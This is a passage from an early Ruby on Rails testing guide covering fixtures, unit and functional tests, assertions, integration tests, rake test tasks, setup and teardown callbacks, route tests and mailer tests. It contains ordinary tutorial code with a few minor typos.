able to: + +* Understand Rails testing terminology +* Write unit, functional and integration tests for your application +* Identify other popular testing approaches and plugins + +This guide won't teach you to write a Rails application; it assumes basic familiarity with the Rails way of doing things. + +== Why Write Tests for your Rails Applications? == + + * Rails makes it super easy to write your tests. It starts by producing skeleton test code in background while you are creating your models and controllers. + * By simply running your Rails tests you can ensure your code adheres to the desired functionality even after some major code refactoring. + * Rails tests can also simulate browser requests and thus you can test your application's response without having to test it through your browser. + +== Introduction to Testing == + +Testing support was woven into the Rails fabric from the beginning. It wasn't an "oh! let's bolt on support for running tests because they're new and cool" epiphany. Just about every Rails application interacts heavily with a database - and, as a result, your tests will need a database to interact with as well. To write efficient tests, you'll need to understand how to set up this database and populate it with sample data. + +=== The 3 Environments === + +Every Rails application you build has 3 sides: a side for production, a side for development, and a side for testing. + +One place you'll find this distinction is in the +config/database.yml+ file. This YAML configuration file has 3 different sections defining 3 unique database setups: + + * production + * development + * test + +This allows you to set up and interact with test data without any danger of your tests altering data from your production environment. + +For example, suppose you need to test your new +delete_this_user_and_every_everything_associated_with_it+ function. Wouldn't you want to run this in an environment where it makes no difference if you destroy data or not? + +When you do end up destroying your testing database (and it will happen, trust me), you can rebuild it from scratch according to the specs defined in the development database. You can do this by running +rake db:test:prepare+. + +=== Rails Sets up for Testing from the Word Go === + +Rails creates a +test+ folder for you as soon as you create a Rails project using +rails _application_name_+. If you list the contents of this folder then you shall see: + +[source,shell] +------------------------------------------------------ +$ ls -F test/ + +fixtures/ functional/ integration/ test_helper.rb unit/ +------------------------------------------------------ + +The +unit+ folder is meant to hold tests for your models, the +functional+ folder is meant to hold tests for your controllers, and the +integration+ folder is meant to hold tests that involve any number of controllers interacting. Fixtures are a way of organizing test data; they reside in the +fixtures+ folder. The +test_helper.rb+ file holds the default configuration for your tests. + +=== The Low-Down on Fixtures === + +For good tests, you'll need to give some thought to setting up test data. In Rails, you can handle this by defining and customizing fixtures. + +==== What Are Fixtures? ==== + +_Fixtures_ is a fancy word for sample data. Fixtures allow you to populate your testing database with predefined data before your tests run. Fixtures are database independent and assume one of two formats: *YAML* or *CSV*. In this guide we will use *YAML* which is the preferred format. + +You'll find fixtures under your +test/fixtures+ directory. When you run +script/generate model+ to create a new model, fixture stubs will be automatically created and placed in this directory. + +==== YAML ==== + +YAML-formatted fixtures are a very human-friendly way to describe your sample data. These types of fixtures have the *.yml* file extension (as in +users.yml+). + +Here's a sample YAML fixture file: + +[source,ruby] +--------------------------------------------- +# low & behold! I am a YAML comment! +david: + name: David Heinemeier Hansson + birthday: 1979-10-15 + profession: Systems development + +steve: + name: Steve Ross Kellock + birthday: 1974-09-27 + profession: guy with keyboard +--------------------------------------------- + +Each fixture is given a name followed by an indented list of colon-separated key/value pairs. Records are separated by a blank space. You can place comments in a fixture file by using the # character in the first column. + +==== ERb'in It Up ==== + +ERb allows you embed ruby code within templates. Both the YAML and CSV fixture formats are pre-processed with ERb when you load fixtures. This allows you to use Ruby to help you generate some sample data. + +[source, ruby] +-------------------------------------------------------------- +<% earth_size = 20 -%> +mercury: + size: <%= earth_size / 50 %> + brightest_on: <%= 113.days.ago.to_s(:db) %> + +venus: + size: <%= earth_size / 2 %> + brightest_on: <%= 67.days.ago.to_s(:db) %> + +mars: + size: <%= earth_size - 69 %> + brightest_on: <%= 13.days.from_now.to_s(:db) %> +-------------------------------------------------------------- + +Anything encased within the + +[source, ruby] +------------------------ +<% %> +------------------------ + +tag is considered Ruby code. When this fixture is loaded, the +size+ attribute of the three records will be set to 20/50, 20/2, and 20-69 respectively. The +brightest_on+ attribute will also be evaluated and formatted by Rails to be compatible with the database. + +==== Fixtures in Action ==== + +Rails by default automatically loads all fixtures from the 'test/fixtures' folder for your unit and functional test. Loading involves three steps: + + * Remove any existing data from the table corresponding to the fixture + * Load the fixture data into the table + * Dump the fixture data into a variable in case you want to access it directly + +==== Hashes with Special Powers ==== + +Fixtures are basically Hash objects. As mentioned in point #3 above, you can access the hash object directly because it is automatically setup as a local variable of the test case. For example: + +[source, ruby] +-------------------------------------------------------------- +# this will return the Hash for the fixture named david +users(:david) + +# this will return the property for david called id +users(:david).id +-------------------------------------------------------------- + +Fixtures can also transform themselves into the form of the original class. Thus, you can get at the methods only available to that class. + +[source, ruby] +-------------------------------------------------------------- +# using the find method, we grab the "real" david as a User +david = users(:david).find + +# and now we have access to methods only available to a User class +email(david.girlfriend.email, david.location_tonight) +-------------------------------------------------------------- + +== Unit Testing your Models == + +In Rails, unit tests are what you write to test your models. + +For this guide we will be using Rails _scaffolding_. It will create the model, a migration, controller and views for the new resource in a single operation. It will also create a full test suite following Rails best practises. I will be using examples from this generated code and would be supplementing it with additional examples where necessary. + +NOTE: For more information on Rails _scaffolding_, refer to link:../getting_started_with_rails.html[Getting Started with Rails] + +When you use +script/generate scaffold+, for a resource among other things it creates a test stub in the +test/unit+ folder: + +------------------------------------------------------- +$ script/generate scaffold post title:string body:text +... +create app/models/post.rb +create test/unit/post_test.rb +create test/fixtures/posts.yml +... +------------------------------------------------------- + +The default test stub in +test/unit/post_test.rb+ looks like this: + +[source,ruby] +-------------------------------------------------- +require 'test_helper' + +class PostTest < ActiveSupport::TestCase + # Replace this with your real tests. + def test_truth + assert true + end +end +-------------------------------------------------- + +A line by line examination of this file will help get you oriented to Rails testing code and terminology. + +[source,ruby] +-------------------------------------------------- +require 'test_helper' +-------------------------------------------------- + +As you know by now that `test_helper.rb` specifies the default configuration to run our tests. This is included with all the tests, so any methods added to this file are available to all your tests. + +[source,ruby] +-------------------------------------------------- +class PostTest < ActiveSupport::TestCase +-------------------------------------------------- + +The +PostTest+ class defines a _test case_ because it inherits from +ActiveSupport::TestCase+. +PostTest+ thus has all the methods available from +ActiveSupport::TestCase+. You'll see those methods a little later in this guide. + +[source,ruby] +-------------------------------------------------- +def test_truth +-------------------------------------------------- + +Any method defined within a test case that begins with +test+ (case sensitive) is simply called a test. So, +test_password+, +test_valid_password+ and +testValidPassword+ all are legal test names and are run automatically when the test case is run. + +[source,ruby] +-------------------------------------------------- +assert true +-------------------------------------------------- + +This line of code is called an _assertion_. An assertion is a line of code that evaluates an object (or expression) for expected results. For example, an assertion can check: + +* is this value = that value? +* is this object nil? +* does this line of code throw an exception? +* is the user's password greater than 5 characters? + +Every test contains one or more assertions. Only when all the assertions are successful the test passes. + +=== Preparing you Application for Testing === + +Before you can run your tests you need to ensure that the test database structure is current. For this you can use the following rake commands: + +[source, shell] +------------------------------------------------------- +$ rake db:migrate +... +$ rake db:test:load +------------------------------------------------------- + +Above +rake db:migrate+ runs any pending migrations on the _developemnt_ environment and updates +db/schema.rb+. +rake db:test:load+ recreates the test database from the current db/schema.rb. On subsequent attempts it is a good to first run +db:test:prepare+ as it first checks for pending migrations and warns you appropriately. + +NOTE: +db:test:prepare+ will fail with an error if db/schema.rb doesn't exists. + +==== Rake Tasks for Preparing you Application for Testing == + +[grid="all"] +--------------------------------`---------------------------------------------------- +Tasks Description +------------------------------------------------------------------------------------ ++rake db:test:clone+ Recreate the test database from the current environment's database schema ++rake db:test:clone_structure+ Recreate the test databases from the development structure ++rake db:test:load+ Recreate the test database from the current +schema.rb+ ++rake db:test:prepare+ Check for pending migrations and load the test schema ++rake db:test:purge+ Empty the test database. +------------------------------------------------------------------------------------ + +TIP: You can see all these rake tasks and their descriptions by running +rake --tasks --describe+ + +=== Running Tests === + +Running a test is as simple as invoking the file containing the test cases through Ruby: + +[source, shell] +------------------------------------------------------- +$ cd test +$ ruby unit/post_test.rb + +Loaded suite unit/post_test +Started +. +Finished in 0.023513 seconds. + +1 tests, 1 assertions, 0 failures, 0 errors +------------------------------------------------------- + +This will run all the test methods from the test case. + +You can also run a particular test method from the test case by using the +-n+ switch with the +test method name+. + +------------------------------------------------------- +$ ruby unit/post_test.rb -n test_truth + +Loaded suite unit/post_test +Started +. +Finished in 0.023513 seconds. + +1 tests, 1 assertions, 0 failures, 0 errors +------------------------------------------------------- + +The +.+ (dot) above indicates a passing test. When a test fails you see an +F+; when a test throws an error you see an +E+ in its place. The last line of the output is the summary. + +To see how a test failure is reported, you can add a failing test to the +post_test.rb+ test case. + +[source,ruby] +-------------------------------------------------- +def test_should_not_save_post_without_title + post = Post.new + assert !post.save +end +-------------------------------------------------- + +Let us run this newly added test. + +------------------------------------------------------- +$ ruby unit/post_test.rb -n test_should_not_save_post_without_title +Loaded suite unit/post_test +Started +F +Finished in 0.197094 seconds. + + 1) Failure: +test_should_not_save_post_without_title(PostTest) + [unit/post_test.rb:11:in `test_should_not_save_post_without_title' + /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `__send__' + /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `run']: + is not true. + +1 tests, 1 assertions, 1 failures, 0 errors +------------------------------------------------------- + +In the output, +F+ denotes a failure. You can see the corresponding trace shown under +1)+ along with the name of the failing test. The next few lines contain the stack trace followed by a message which mentions the actual value and the expected value by the assertion. The default assertion messages provide just enough information to help pinpoint the error. To make the assertion failure message more readable every assertion provides an optional message parameter, as shown here: + +[source,ruby] +-------------------------------------------------- +def test_should_not_save_post_without_title + post = Post.new + assert !post.save, "Saved the post without a title" +end +-------------------------------------------------- + +Running this test shows the friendlier assertion message: + +------------------------------------------------------- +$ ruby unit/post_test.rb -n test_should_not_save_post_without_title +Loaded suite unit/post_test +Started +F +Finished in 0.198093 seconds. + + 1) Failure: +test_should_not_save_post_without_title(PostTest) + [unit/post_test.rb:11:in `test_should_not_save_post_without_title' + /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `__send__' + /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `run']: +Saved the post without a title. + is not true. + +1 tests, 1 assertions, 1 failures, 0 errors +------------------------------------------------------- + +Now to get this test to pass we can add a model level validation for the _title_ field. + +[source,ruby] +-------------------------------------------------- +class Post < ActiveRecord::Base + validates_presence_of :title +end +-------------------------------------------------- + +Now the test should pass. Let us verify by running the test again: + +------------------------------------------------------- +$ ruby unit/post_test.rb -n test_should_not_save_post_without_title +Loaded suite unit/post_test +Started +. +Finished in 0.193608 seconds. + +1 tests, 1 assertions, 0 failures, 0 errors +------------------------------------------------------- + +Now if you noticed we first wrote a test which fails for a desired functionality, then we wrote some code which adds the functionality and finally we ensured that our test passes. This approach to software development is referred to as _Test-Driven Development_ (TDD). + +TIP: Many Rails developers practice _Test-Driven Development_ (TDD). This is an excellent way to build up a test suite that exercises every part of your application. TDD is beyond the scope of this guide, but one place to start is with link:http://andrzejonsoftware.blogspot.com/2007/05/15-tdd-steps-to-create-rails.html[15 TDD steps to create a Rails application]. + +To see how an error gets reported, here's a test containing an error: + +[source,ruby] +-------------------------------------------------- +def test_should_report_error + # some_undefined_variable is not defined elsewhere in the test case + some_undefined_variable + assert true +end +-------------------------------------------------- + +Now you can see even more output in the console from running the tests: + +------------------------------------------------------- +$ ruby unit/post_test.rb -n test_should_report_error +Loaded suite unit/post_test +Started +E +Finished in 0.195757 seconds. + + 1) Error: +test_should_report_error(PostTest): +NameError: undefined local variable or method `some_undefined_variable' for # + /opt/local/lib/ruby/gems/1.8/gems/actionpack-2.1.1/lib/action_controller/test_process.rb:467:in `method_missing' + unit/post_test.rb:16:in `test_should_report_error' + /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `__send__' + /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `run' + +1 tests, 0 assertions, 0 failures, 1 errors +------------------------------------------------------- + +Notice the 'E' in the output. It denotes a test with error. + +NOTE: The execution of each test method stops as soon as any error or a assertion failure is encountered, and the test suite continues with the next method. All test methods are executed in alphabetical order. + +=== What to Include in Your Unit Tests === + +Ideally you would like to include a test for everything which could possibly break. It's a good practice to have at least one test for each of your validations and at least one test for every method in your model. + +=== Assertions Available === + +By now you've caught a glimpse of some of the assertions that are available. Assertions are the worker bees of testing. They are the ones that actually perform the checks to ensure that things are going as planned. + +There are a bunch of different types of assertions you can use. Here's the complete list of assertions that ship with +test/unit+, the testing library used by Rails. The +[msg]+ parameter is an optional string message you can specify to make your test failure messages clearer. It's not required. + +[grid="all"] +`-----------------------------------------------------------------`------------------------------------------------------------------------ +Assertion Purpose +------------------------------------------------------------------------------------------------------------------------------------------ ++assert( boolean, [msg] )+ Ensures that the object/expression is true. ++assert_equal( obj1, obj2, [msg] )+ Ensures that +obj1 == obj2+ is true. ++assert_not_equal( obj1, obj2, [msg] )+ Ensures that +obj1 == obj2+ is false. ++assert_same( obj1, obj2, [msg] )+ Ensures that +obj1.equal?(obj2)+ is true. ++assert_not_same( obj1, obj2, [msg] )+ Ensures that +obj1.equal?(obj2)+ is false. ++assert_nil( obj, [msg] )+ Ensures that +obj.nil?+ is true. ++assert_not_nil( obj, [msg] )+ Ensures that +obj.nil?+ is false. ++assert_match( regexp, string, [msg] )+ Ensures that a string matches the regular expression. ++assert_no_match( regexp, string, [msg] )+ Ensures that a string doesn't matches the regular expression. ++assert_in_delta( expecting, actual, delta, [msg] )+ Ensures that the numbers `expecting` and `actual` are within `delta` of each other. ++assert_throws( symbol, [msg] ) { block }+ Ensures that the given block throws the symbol. ++assert_raises( exception1, exception2, ... ) { block }+ Ensures that the given block raises one of the given exceptions. ++assert_nothing_raised( exception1, exception2, ... ) { block }+ Ensures that the given block doesn't raise one of the given exceptions. ++assert_instance_of( class, obj, [msg] )+ Ensures that +obj+ is of the +class+ type. ++assert_kind_of( class, obj, [msg] )+ Ensures that +obj+ is or descends from +class+. ++assert_respond_to( obj, symbol, [msg] )+ Ensures that +obj+ has a method called +symbol+. ++assert_operator( obj1, operator, obj2, [msg] )+ Ensures that +obj1.operator(obj2)+ is true. ++assert_send( array, [msg] )+ Ensures that executing the method listed in +array[1]+ on the object in +array[0]+ with the parameters of +array[2 and up]+ is true. This one is weird eh? ++flunk( [msg] )+ Ensures failure. This is useful to explicitly mark a test that isn't finished yet. +------------------------------------------------------------------------------------------------------------------------------------------ + +Because of the modular nature of the testing framework, it is possible to create your own assertions. In fact, that's exactly what Rails does. It includes some specialized assertions to make your life easier. + +NOTE: Creating your own assertions is an advanced topic that we won't cover in this tutorial. + +=== Rails Specific Assertions === + +Rails adds some custom assertions of its own to the +test/unit+ framework: + +[grid="all"] +`----------------------------------------------------------------------------------`------------------------------------------------------- +Assertion Purpose +------------------------------------------------------------------------------------------------------------------------------------------ ++assert_valid(record)+ Ensures that the passed record is valid by Active Record standards and returns any error messages if it is not. ++assert_difference(expressions, difference = 1, message = nil) {|| ...}+ Test numeric difference between the return value of an expression as a result of what is evaluated in the yielded block. ++assert_no_difference(expressions, message = nil, &block)+ Asserts that the numeric result of evaluating an expression is not changed before and after invoking the passed in block. ++assert_recognizes(expected_options, path, extras={}, message=nil)+ Asserts that the routing of the given path was handled correctly and that the parsed options (given in the expected_options hash) match path. Basically, it asserts that Rails recognizes the route given by expected_options. ++assert_generates(expected_path, options, defaults={}, extras = {}, message=nil)+ Asserts that the provided options can be used to generate the provided path. This is the inverse of assert_recognizes. The extras parameter is used to tell the request the names and values of additional request parameters that would be in a query string. The message parameter allows you to specify a custom error message for assertion failures. ++assert_response(type, message = nil)+ Asserts that the response comes with a specific status code. You can specify +:success+ to indicate 200, +:redirect+ to indicate 300-399, +:missing+ to indicate 404, or +:error+ to match the 500-599 range ++assert_redirected_to(options = {}, message=nil)+ Assert that the redirection options passed in match those of the redirect called in the latest action. This match can be partial, such that +assert_redirected_to(:controller => "weblog")+ will also match the redirection of +redirect_to(:controller => "weblog", :action => "show")+ and so on. ++assert_template(expected = nil, message=nil)+ Asserts that the request was rendered with the appropriate template file. +------------------------------------------------------------------------------------------------------------------------------------------ + +You'll see the usage of some of these assertions in the next chapter. + +== Functional Tests for Your Controllers == + +In Rails, testing the various actions of a single controller is called writing functional tests for that controller. Controllers handle the incoming web requests to your application and eventually respond with a rendered view. + +=== What to include in your Functional Tests === + +You should test for things such as: + + * was the web request successful? + * was the user redirected to the right page? + * was the user successfully authenticated? + * was the correct object stored in the response template? + * was the appropriate message displayed to the user in the view + +Now that we have used Rails scaffold generator for our +Post+ resource, it has already created the controller code and functional tests. You can take look at the file +posts_controller_test.rb+ in the +test/functional+ directory. + +Let me take you through one such test, +test_should_get_index+ from the file +posts_controller_test.rb+. + +[source,ruby] +-------------------------------------------------- +def test_should_get_index + get :index + assert_response :success + assert_not_nil assigns(:posts) +end +-------------------------------------------------- + +In the +test_should_get_index+ test, Rails simulates a request on the action called index, making sure the request was successful and also ensuring that it assigns a valid +posts+ instance variable. + +The +get+ method kicks off the web request and populates the results into the response. It accepts 4 arguments: + +* The action of the controller you are requesting. This can be in the form of a string or a symbol. +* An optional hash of request parameters to pass into the action (eg. query string parameters or post variables). +* An optional hash of session variables to pass along with the request. +* An optional hash of flash values. + +Example: Calling the +:show+ action, passing an +id+ of 12 as the +params+ and setting a +user_id+ of 5 in the session: + +[source,ruby] +-------------------------------------------------- +get(:show, {'id' => "12"}, {'user_id' => 5}) +-------------------------------------------------- + +Another example: Calling the +:view+ action, passing an +id+ of 12 as the +params+, this time with no session, but with a flash message. + +[source,ruby] +-------------------------------------------------- +get(:view, {'id' => '12'}, nil, {'message' => 'booya!'}) +-------------------------------------------------- + +NOTE: If you try running +test_should_create_post+ test from +posts_controller_test.rb+ it will fail on account of the newly added model level validation and rightly so. + +Let us modify +test_should_create_post+ test in +posts_controller_test.rb+ so that all our test pass: + +[source,ruby] +-------------------------------------------------- +def test_should_create_post + assert_difference('Post.count') do + post :create, :post => { :title => 'Some title'} + end + + assert_redirected_to post_path(assigns(:post)) +end +-------------------------------------------------- + +Now you can try running all the tests and they should pass. + +=== Available Request Types for Functional Tests === + +If you're familiar with the HTTP protocol, you'll know that +get+ is a type of request. There are 5 request types supported in Rails functional tests: + +* +get+ +* +post+ +* +put+ +* +head+ +* +delete+ + +All of request types are methods that you can use, however, you'll probably end up using the first two more often than the others. + +=== The 4 Hashes of the Apocalypse === + +After a request has been made by using one of the 5 methods (+get+, +post+, etc.) and processed, you will have 4 Hash objects ready for use: + +* +assigns+ - Any objects that are stored as instance variables in actions for use in views. +* +cookies+ - Any cookies that are set. +* +flash+ - Any objects living in the flash. +* +session+ - Any object living in session variables. + +As is the case with normal Hash objects, you can access the values by referencing the keys by string. You can also reference them by symbol name, except for +assigns+. For example: + +[source,ruby] +-------------------------------------------------- + flash["gordon"] flash[:gordon] + session["shmession"] session[:shmession] + cookies["are_good_for_u"] cookies[:are_good_for_u] + +# Because you can't use assigns[:something] for historical reasons: + assigns["something"] assigns(:something) +-------------------------------------------------- + +=== Instance Variables Available === + +You also have access to three instance variables in your functional tests: + +* +@controller+ - The controller processing the request +* +@request+ - The request +* +@response+ - The response + +=== A Fuller Functional Test Example + +Here's another example that uses +flash+, +assert_redirected_to+, and +assert_difference+: + +[source,ruby] +-------------------------------------------------- +def test_should_create_post + assert_difference('Post.count') do + post :create, :post => { :title => 'Hi', :body => 'This is my first post.'} + end + assert_redirected_to post_path(assigns(:post)) + assert_equal 'Post was successfully created.', flash[:notice] +end +-------------------------------------------------- + +=== Testing Views === + +Testing the response to your request by asserting the presence of key HTML elements and their content is a useful way to test the views of your application. The +assert_select+ assertion allows you to do this by using a simple yet powerful syntax. + +NOTE: You may find references to +assert_tag+ in other documentation, but this is now deprecated in favor of +assert_select+. + +There are two forms of +assert_select+: + ++assert_select(selector, [equality], [message])`+ ensures that the equality condition is met on the selected elements through the selector. The selector may be a CSS selector expression (String), an expression with substitution values, or an +HTML::Selector+ object. + ++assert_select(element, selector, [equality], [message])+ ensures that the equality condition is met on all the selected elements through the selector starting from the _element_ (instance of +HTML::Node+) and its descendants. + +For example, you could verify the contents on the title element in your response with: + +[source,ruby] +-------------------------------------------------- +assert_select 'title', "Welcome to Rails Testing Guide" +-------------------------------------------------- + +You can also use nested +assert_select+ blocks. In this case the inner +assert_select+ will run the assertion on each element selected by the outer `assert_select` block: + +[source,ruby] +-------------------------------------------------- +assert_select 'ul.navigation' do + assert_select 'li.menu_item' +end +-------------------------------------------------- + +The +assert_select+ assertion is quite powerful. For more advanced usage, refer to its link:http://api.rubyonrails.com/classes/ActionController/Assertions/SelectorAssertions.html#M000749[documentation]. + +==== Additional View-based Assertions ==== + +There are more assertions that are primarily used in testing views: + +[grid="all"] +`----------------------------------------------------------------------------------`------------------------------------------------------- +Assertion Purpose +------------------------------------------------------------------------------------------------------------------------------------------ ++assert_select_email+ Allows you to make assertions on the body of an e-mail. ++assert_select_rjs+ Allows you to make assertions on RJS response. +assert_select_rjs+ has variants which allow you to narrow down on the updated element or even a particular operation on an element. ++assert_select_encoded+ Allows you to make assertions on encoded HTML. It does this by un-encoding the contents of each element and then calling the block with all the un-encoded elements. ++css_select(selector)+ or +css_select(element, selector)+ Returns an array of all the elements selected by the _selector_. In the second variant it first matches the base _element_ and tries to match the _selector_ expression on any of its children. If there are no matches both variants return an empty array. +------------------------------------------------------------------------------------------------------------------------------------------ + +Here's an example of using +assert_select_email+: + +[source,ruby] +-------------------------------------------------- +assert_select_email do + assert_select 'small', 'Please click the "Unsubscribe" link if you want to opt-out.' +end +-------------------------------------------------- + +== Integration Testing == + +Integration tests are used to test the interaction among any number of controllers. They are generally used to test important work flows within your application. + +Unlike Unit and Functional tests, integration tests have to be explicitly created under the 'test/integration' folder within your application. Rails provides a generator to create an integration test skeleton for you. + +[source, shell] +-------------------------------------------------- +$ script/generate integration_test user_flows + exists test/integration/ + create test/integration/user_flows_test.rb +-------------------------------------------------- + +Here's what a freshly-generated integration test looks like: + +[source,ruby] +-------------------------------------------------- +require 'test_helper' + +class UserFlowsTest < ActionController::IntegrationTest + # fixtures :your, :models + + # Replace this with your real tests. + def test_truth + assert true + end +end +-------------------------------------------------- + +Integration tests inherit from +ActionController::IntegrationTest+. This makes available some additional helpers to use in your integration tests. Also you need to explicitly include the fixtures to be made available to the test. + +=== Helpers Available for Integration tests === + +In addition to the standard testing helpers, there are some additional helpers available to integration tests: + +[grid="all"] +`----------------------------------------------------------------------------------`------------------------------------------------------- +Helper Purpose +------------------------------------------------------------------------------------------------------------------------------------------ ++https?+ Returns +true+ if the session is mimicking a secure HTTPS request. ++https!+ Allows you to mimic a secure HTTPS request. ++host!+ Allows you to set the host name to use in the next request. ++redirect?+ Returns +true+ if the last request was a redirect. ++follow_redirect!+ Follows a single redirect response. ++request_via_redirect(http_method, path, [parameters], [headers])+ Allows you to make an HTTP request and follow any subsequent redirects. ++post_via_redirect(path, [parameters], [headers])+ Allows you to make an HTTP POST request and follow any subsequent redirects. ++get_via_redirect(path, [parameters], [headers])+ Allows you to make an HTTP GET request and follow any subsequent redirects. ++put_via_redirect(path, [parameters], [headers])+ Allows you to make an HTTP PUT request and follow any subsequent redirects. ++delete_via_redirect(path, [parameters], [headers])+ Allows you to make an HTTP DELETE request and follow any subsequent redirects. ++open_session+ Opens a new session instance. +------------------------------------------------------------------------------------------------------------------------------------------ + +=== Integration Testing Examples === + +A simple integration test that exercises multiple controllers: + +[source,ruby] +-------------------------------------------------- +require 'test_helper' + +class UserFlowsTest < ActionController::IntegrationTest + fixtures :users + + def test_login_and_browse_site + # login via https + https! + get "/login" + assert_response :success + + post_via_redirect "/login", :username => users(:avs).username, :password => users(:avs).password + assert_equal '/welcome', path + assert_equal 'Welcome avs!', flash[:notice] + + https!(false) + get "/posts/all" + assert_response :success + assert assigns(:products) + end +end +-------------------------------------------------- + +As you can see the integration test involves multiple controllers and exercises the entire stack from database to dispatcher. In addition you can have multiple session instances open simultaneously in a test and extend those instances with assertion methods to create a very powerful testing DSL (domain-specific language) just for your application. + +Here's an example of multiple sessions and custom DSL in an integration test + +[source,ruby] +-------------------------------------------------- +require 'test_helper' + +class UserFlowsTest < ActionController::IntegrationTest + fixtures :users + + def test_login_and_browse_site + + # User avs logs in + avs = login(:avs) + # User guest logs in + guest = login(:guest) + + # Both are now available in different sessions + assert_equal 'Welcome avs!', avs.flash[:notice] + assert_equal 'Welcome guest!', guest.flash[:notice] + + # User avs can browse site + avs.browses_site + # User guest can browse site aswell + guest.browses_site + + # Continue with other assertions + end + + private + + module CustomDsl + def browses_site + get "/products/all" + assert_response :success + assert assigns(:products) + end + end + + def login(user) + open_session do |sess| + sess.extend(CustomDsl) + u = users(user) + sess.https! + sess.post "/login", :username => u.username, :password => u.password + assert_equal '/welcome', path + sess.https!(false) + end + end +end +-------------------------------------------------- + +== Rake Tasks for Running your Tests == + +You don't need to set up and run your tests by hand on a test-by-test basis. Rails comes with a number of rake tasks to help in testing. The table below lists all rake tasks that come along in the default Rakefile when you initiate a Rail project. + +[grid="all"] +--------------------------------`---------------------------------------------------- +Tasks Description +------------------------------------------------------------------------------------ ++rake test+ Runs all unit, functional and integration tests. You can also simply run +rake+ as the _test_ target is the default. ++rake test:units+ Runs all the unit tests from +test/unit+ ++rake test:functionals+ Runs all the functional tests from +test/functional+ ++rake test:integration+ Runs all the integration tests from +test/integration+ ++rake test:recent+ Tests recent changes ++rake test:uncommitted+ Runs all the tests which are uncommitted. Only supports Subversion ++rake test:plugins+ Run all the plugin tests from +vendor/plugins/*/**/test+ (or specify with +PLUGIN=_name_+) +------------------------------------------------------------------------------------ + + +== Brief Note About Test::Unit == + +Ruby ships with a boat load of libraries. One little gem of a library is +Test::Unit+, a framework for unit testing in Ruby. All the basic assertions discussed above are actually defined in +Test::Unit::Assertions+. The class +ActiveSupport::TestCase+ which we have been using in our unit and functional tests extends +Test::Unit::TestCase+ that it is how we can use all the basic assertions in our tests. + +NOTE: For more information on +Test::Unit+, refer to link:http://ruby-doc.org/stdlib/libdoc/test/unit/rdoc/[test/unit Documentation] + +== Setup and Teardown == + +If you would like to run a block of code before the start of each test and another block of code after the end of each test you have two special callbacks for your rescue. Let's take note of this by looking at an example for our functional test in +Posts+ controller: + +[source,ruby] +-------------------------------------------------- +require 'test_helper' + +class PostsControllerTest < ActionController::TestCase + + # called before every single test + def setup + @post = posts(:one) + end + + # called after every single test + def teardown + # as we are re-initializing @post before every test + # setting it to nil here is not essential but I hope + # you understand how you can use the teardown method + @post = nil + end + + def test_should_show_post + get :show, :id => @post.id + assert_response :success + end + + def test_should_destroy_post + assert_difference('Post.count', -1) do + delete :destroy, :id => @post.id + end + + assert_redirected_to posts_path + end + +end +-------------------------------------------------- + +Above, the +setup+ method is called before each test and so +@post+ is available for each of the tests. Rails implements +setup+ and +teardown+ as ActiveSupport::Callbacks. Which essentially means you need not only use +setup+ and +teardown+ as methods in your tests. You could specify them by using: + + * a block + * a method (like in the earlier example) + * a method name as a symbol + * a lambda + +Let's see the earlier example by specifying +setup+ callback by specifying a method name as a symbol: + +[source,ruby] +-------------------------------------------------- +require '../test_helper' + +class PostsControllerTest < ActionController::TestCase + + # called before every single test + setup :initialize_post + + # called after every single test + def teardown + @post = nil + end + + def test_should_show_post + get :show, :id => @post.id + assert_response :success + end + + def test_should_update_post + put :update, :id => @post.id, :post => { } + assert_redirected_to post_path(assigns(:post)) + end + + def test_should_destroy_post + assert_difference('Post.count', -1) do + delete :destroy, :id => @post.id + end + + assert_redirected_to posts_path + end + + private + + def initialize_post + @post = posts(:one) + end + +end +-------------------------------------------------- + +== Testing Routes == + +Like everything else in you Rails application, it's recommended to test you routes. An example test for a route in the default +show+ action of +Posts+ controller above should look like: + +[source,ruby] +-------------------------------------------------- +def test_should_route_to_post + assert_routing '/posts/1', { :controller => "posts", :action => "show", :id => "1" } +end +-------------------------------------------------- + +== Testing Your Mailers == + +Testing mailer classes requires some specific tools to do a thorough job. + +=== Keeping the Postman in Check === + +Your +ActionMailer+ classes -- like every other part of your Rails application -- should be tested to ensure that it is working as expected. + +The goals of testing your +ActionMailer+ classes are to ensure that: + +* emails are being processed (created and sent) +* the email content is correct (subject, sender, body, etc) +* the right emails are being sent at the right times + +==== From All Sides ==== + +There are two aspects of testing your mailer, the unit tests and the functional tests. In the unit tests, you run the mailer in isolation with tightly controlled inputs and compare the output to a knownvalue (a fixture -- yay! more fixtures!). In the functional tests you don't so much test the minute details produced by the mailer Instead we test that our controllers and models are using the mailer in the right way. You test to prove that the right email was sent at the right time. + +=== Unit Testing === + +In order to test that your mailer is working as expected, you can use unit tests to compare the actual results of the mailer with pre-written examples of what should be produced. + +==== Revenge of the Fixtures ==== + +For the purposes of unit testing a mailer, fixtures are used to provide an example of how the output _should_ look. Because these are example emails, and not Active Record data like the other fixtures, they are kept in their own subdirectory apart from the other fixtures. The name of the directory within +test/fixtures+ directly corresponds to the name of the mailer. So, for a mailer named +UserMailer+, the fixtures should reside in +test/fixtures/user_mailer+ directory. + +When you generated your mailer, the generator creates stub fixtures for each of the mailers actions. If you didn't use the generator you'll have to make those files yourself. + +==== The Basic Test case ==== + +Here's a unit test to test a mailer named +UserMailer+ whose action +invite+ is used to send an invitation to a friend. It is an adapted version of the base test created by the generator for an +invite+ action. + +[source, ruby] +------------------------------------------------- +require 'test_helper' + +class UserMailerTest < ActionMailer::TestCase + tests UserMailer + def test_invite + @expected.from = 'me@example.com' + @expected.to = 'friend@example.com' + @expected.subject = "You have been invited by #{@expected.from}" + @expected.body = read_fixture('invite') + @expected.date = Time.now + + assert_equal @expected.encoded, UserMailer.create_invite('me@example.com', 'friend@example.com', @expected.date).encoded + end + +end +------------------------------------------------- + +In this test, +@expected+ is an instance of +TMail::Mail+ that you can use in your tests. It is defined in +ActionMailer::TestCase+. The test above uses +@expected+ to construct an email, which it then asserts with email created by the custom mailer. The 